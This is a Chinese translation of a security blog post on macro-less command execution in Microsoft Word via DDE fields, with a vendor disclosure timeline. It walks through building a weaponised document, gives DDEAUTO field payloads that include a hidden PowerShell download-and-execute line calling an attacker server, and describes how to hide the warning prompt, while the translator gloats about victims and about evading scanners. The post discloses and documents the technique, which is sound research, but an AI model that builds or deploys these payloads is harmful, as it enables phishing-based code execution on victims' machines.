Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】微软 Office Word 无宏命令执行漏洞

0
0
【技术分享】微软 Office Word 无宏命令执行漏洞

2017-10-12 09:58:53

阅读:1428次
点赞(0)
收藏
来源: sensepost.com





【技术分享】微软 Office Word 无宏命令执行漏洞

作者:myles007





【技术分享】微软 Office Word 无宏命令执行漏洞

译者:myles007

预估稿费:120RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

如果我们告诉你,在MS-Word上存在一种命令执行漏洞,其不需要任何宏或者内存溢出,会怎么样呢?

windows 为应用之间进行数据传输提供了多种传输方式,其中一种叫做动态交换协议,我们简称它为DDE协议。DDE协议其实就是一套信息与指导参考。它在共享数据的应用程序之间发送消息,并使用共享内存在应用程序之间进行数据交换。应用程序可以使用DDE协议进行一次性数据传输和持续交换,应用程序在新的数据可用时,会将更新发送给彼此。

在我们下面的文档当中,我们用通过执行一个应用运行DDE协议,以此来为我们提供一个案例展现。在之前的贴子中,我们讨论过在MS-Excel中使用DDE获取命令执行,并且在使用此方法绕过了宏过滤邮件安全网关和企业VBA的策略方面获得成功。DDE不仅限于Excel中可以使用,在Word中也具有DDE功能,当然关于这2个功能的可能获取命令执行的途径,之前已经有人提出过,但是就我们所知,到目前为止还没有人实际证明过这一点。


DDE and Office

艾蒂安和我正在研究一些有趣的COM对象,特别是与MS-Office有关的内容,其中最有意思的是我们发现COM方法在进行DDE初始化与DDE执行时都会被MS-Excel和MS-Word所暴露。自从MS-Excel给我们提供了命令执行,我们就决定踏上发现之旅,正式开始去发现如何在MSWord上使用DDE和如何在其上面实现命令执行。

进过不懈的努力,我们终于弄明白了如何在MS-Word上使用DDE。首先,我们在添加‘字段’上进行操作,请按照以下几个步骤进行操作即可。

插入 - 文档部件 - 域
【技术分享】微软 Office Word 无宏命令执行漏洞

选择 =(Formula) ,然后点击确认


【技术分享】微软 Office Word 无宏命令执行漏洞

之后,你应该会看到在文档中插入一个字段,并显示错误“!异常的公式结尾”,右键单击“此字段”,然后选择“切换字段代码”。


【技术分享】微软 Office Word 无宏命令执行漏洞

【技术分享】微软 Office Word 无宏命令执行漏洞

字段代码此时会显示出来,我们按照下面代码的内容,替换默认字段区域的代码;

{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }

DDEAUTO 关键字会通知MS-Word这是一个DDE字段,并会在文档打开时自动自行,第二部分代码内容是分为两段,第一段内容为要执行的可执行文件的完整路径,第二段引号之间的内容是传递一个可执行程序(执行calc.exe)。


【技术分享】微软 Office Word 无宏命令执行漏洞

另一种方法是使用: CTRL+F9 直接创建一个空的字段标识符,然后直接插入上面的 DDE 测试代码。

然后将文档保存为正常的Word文档“.docx”,并在任何机器上打开它。


【技术分享】微软 Office Word 无宏命令执行漏洞

第一个警告弹窗是更新文档链接,并没有任何恶意内容。


【技术分享】微软 Office Word 无宏命令执行漏洞

第二个提示要求用户是否需要执行指定的应用程序,到目前为止我们可以认为这是一个安全告警,仅是要求用户执行“cmd.exe”,这里我们可以通过相应的语法修改后隐藏它。


【技术分享】微软 Office Word 无宏命令执行漏洞

当受害者点击此文档时,看到没...大笑(yinxiao...)


【技术分享】微软 Office Word 无宏命令执行漏洞

这还不是最棒的,最漂亮的事情是,我们对此文档进行安全监测,发现竟然没任何有关宏或者其他恶意的安全告警...,所以...哈哈...大笑三声...剩下的大家自己意淫吧....


【技术分享】微软 Office Word 无宏命令执行漏洞

Shells

为了给大家展现一个POC,我们编制了一个使用Empire攻击器的演示视频,跟上面一样在进行进行安全扫描验证后,我们给出了下面的Payload。

{ DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://evilserver.ninja/pp.ps1');powershell -e $e "}

视频演示:


文档最后

我们使用“DDE”字段标识符同样可以实现相同效果:

{DDE "c:\\windows\\system32\\cmd.exe" "/c notepad" }

但是呢,你需要对.docx进行相应的修改,以启用其自动链接更新。为此,请在文档管理器中打开.docx并设置word/settings.xml,最后在将下面的XML标签插入到docPr元素中。

<w:updateFields w:val="true"/>

保存文档更新设置,此时Word会弹出自动更新链接的提示,与之前的提示稍有不同,但与前面的DDEAUTO的效果完全相同。


漏洞披露时间表

2017/08/23 – Reported to Microsoft to see if they are interested in a fix.

2017/08/23 – Microsoft responded that they successfully reproduced the issue and ask for more details.

2017/09/26 – Microsoft responded that as suggested it is a feature and no further action will be taken, and will be considered for a next-version candidate bug.

2017/09/10 – Public blog post


其他资源

https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/

http://pwndizzle.blogspot.com.es/2017/03/office-document-macros-ole-actions-dde.html



【技术分享】微软 Office Word 无宏命令执行漏洞
【技术分享】微软 Office Word 无宏命令执行漏洞
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images